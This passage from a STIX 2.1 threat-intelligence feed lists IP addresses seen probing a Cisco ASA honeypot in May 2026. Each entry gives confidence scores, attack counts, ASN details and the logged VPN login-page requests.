      "id": "indicator--86b08586-85ca-4bf7-a13b-278bc8e9c7b3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '158.46.178.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T14:20:10.000Z",
      "valid_until": "2026-06-28T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T13:29:44.770Z",
          "last_seen": "2026-05-27T13:29:58.046Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--27ac956c-91b9-4158-a146-a0ebc5f989df",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '166.88.72.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T14:20:10.000Z",
      "valid_until": "2026-06-28T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-27T13:45:19.848Z",
          "last_seen": "2026-05-30T02:43:21.492Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--cd45a4ea-a9a4-42cd-bb3b-895679486a60",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.121.42.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T14:20:10.000Z",
      "valid_until": "2026-06-28T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-27T02:49:50.568Z",
          "last_seen": "2026-05-30T06:04:40.656Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--32a392e6-8281-4d20-96fe-e249160bef97",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.68.83.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T14:20:10.000Z",
      "valid_until": "2026-06-28T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T13:26:47.739Z",
          "last_seen": "2026-05-27T13:27:01.767Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--6b51db44-f632-41b5-8e7c-6536da9ea4bd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.192.38.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T14:20:10.000Z",
      "valid_until": "2026-06-28T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T13:43:23.590Z",
          "last_seen": "2026-05-29T08:47:20.780Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--4e8a2dca-5f76-4775-ab90-19af2683b6d1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.252.82.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T15:20:10.000Z",
      "valid_until": "2026-06-28T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T15:12:45.081Z",
          "last_seen": "2026-05-27T15:12:59.219Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--b9204871-5dcd-4115-bae4-2aee671951e8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '156.229.254.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T15:20:10.000Z",
      "valid_until": "2026-06-28T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T14:51:08.830Z",
          "last_seen": "2026-05-27T14:51:24.422Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--8c6a14c2-1f62-4b08-bca7-27adf813dc8f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.81.71.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T15:20:10.000Z",
      "valid_until": "2026-06-28T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T15:17:15.954Z",
          "last_seen": "2026-05-29T23:37:35.279Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--c7b5ea65-154d-4e99-91d6-0cdfed97b6a7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.243.191.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T15:20:10.000Z",
      "valid_until": "2026-06-28T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T15:01:25.092Z",
          "last_seen": "2026-05-30T12:24:51.188Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--aad918f1-bbc1-43b3-ac36-1235e12130d7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.246.104.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T15:20:10.000Z",
      "valid_until": "2026-06-28T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T14:40:10.992Z",
          "last_seen": "2026-05-27T14:40:22.658Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--e621fec7-214c-47c2-902a-407ebba1e8a5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.228.50.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T15:20:10.000Z",
      "valid_until": "2026-06-28T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T14:37:06.256Z",
          "last_seen": "2026-05-28T00:52:29.198Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--26286080-d338-404c-983d-78e4835b9ae7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.192.46.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T15:20:10.000Z",
      "valid_until": "2026-06-28T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T14:26:37.341Z",
          "last_seen": "2026-05-29T23:05:29.185Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: DE; ASN 45102 (Alibaba US Technology Co., Ltd.)",
      "id": "indicator--cff220d5-2ef4-4ebc-b3a5-5c1d3be3aa4b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '8.211.46.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T15:20:10.000Z",
      "valid_until": "2026-06-28T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-27T14:32:29.320Z",
          "last_seen": "2026-05-27T14:32:34.628Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 45102,
          "as_org": "Alibaba US Technology Co., Ltd.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--532c82b4-372c-4dec-88cd-6fc046b8e5a1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '141.133.78.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T16:20:10.000Z",
      "valid_until": "2026-06-28T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T15:50:41.422Z",
          "last_seen": "2026-05-30T00:33:37.833Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--24752d5d-3ece-42ab-aec9-7fe0e6b3bf2b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.252.133.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T16:20:10.000Z",
      "valid_until": "2026-06-28T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T15:27:39.145Z",
          "last_seen": "2026-05-29T02:53:32.131Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--be9694d5-e6b3-4a87-8306-42b49bb3a000",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.81.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T16:20:10.000Z",
      "valid_until": "2026-06-28T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 75,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 28,
          "first_seen": "2026-05-27T16:05:58.147Z",
          "last_seen": "2026-05-30T14:29:52.693Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--4459d3a6-7227-4ae0-9cdf-872f4e7df51e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.246.56.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T16:20:10.000Z",
      "valid_until": "2026-06-28T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T15:50:18.718Z",
          "last_seen": "2026-05-27T15:50:30.380Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--7a590bb9-f598-45e2-ae0c-c45899d379d3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T16:20:10.000Z",
      "valid_until": "2026-06-28T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-27T16:09:02.660Z",
          "last_seen": "2026-05-27T16:09:05.661Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--0506142a-55de-418f-a84a-5cb1686b5f50",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T16:20:10.000Z",
      "valid_until": "2026-06-28T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 5,
          "first_seen": "2026-05-27T15:51:44.969Z",
          "last_seen": "2026-05-27T15:53:35.755Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--3b08afda-6141-4c42-b035-0ae4848ae075",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '77.83.6.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T16:20:10.000Z",
      "valid_until": "2026-06-28T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T15:53:54.142Z",
          "last_seen": "2026-05-29T12:11:48.708Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
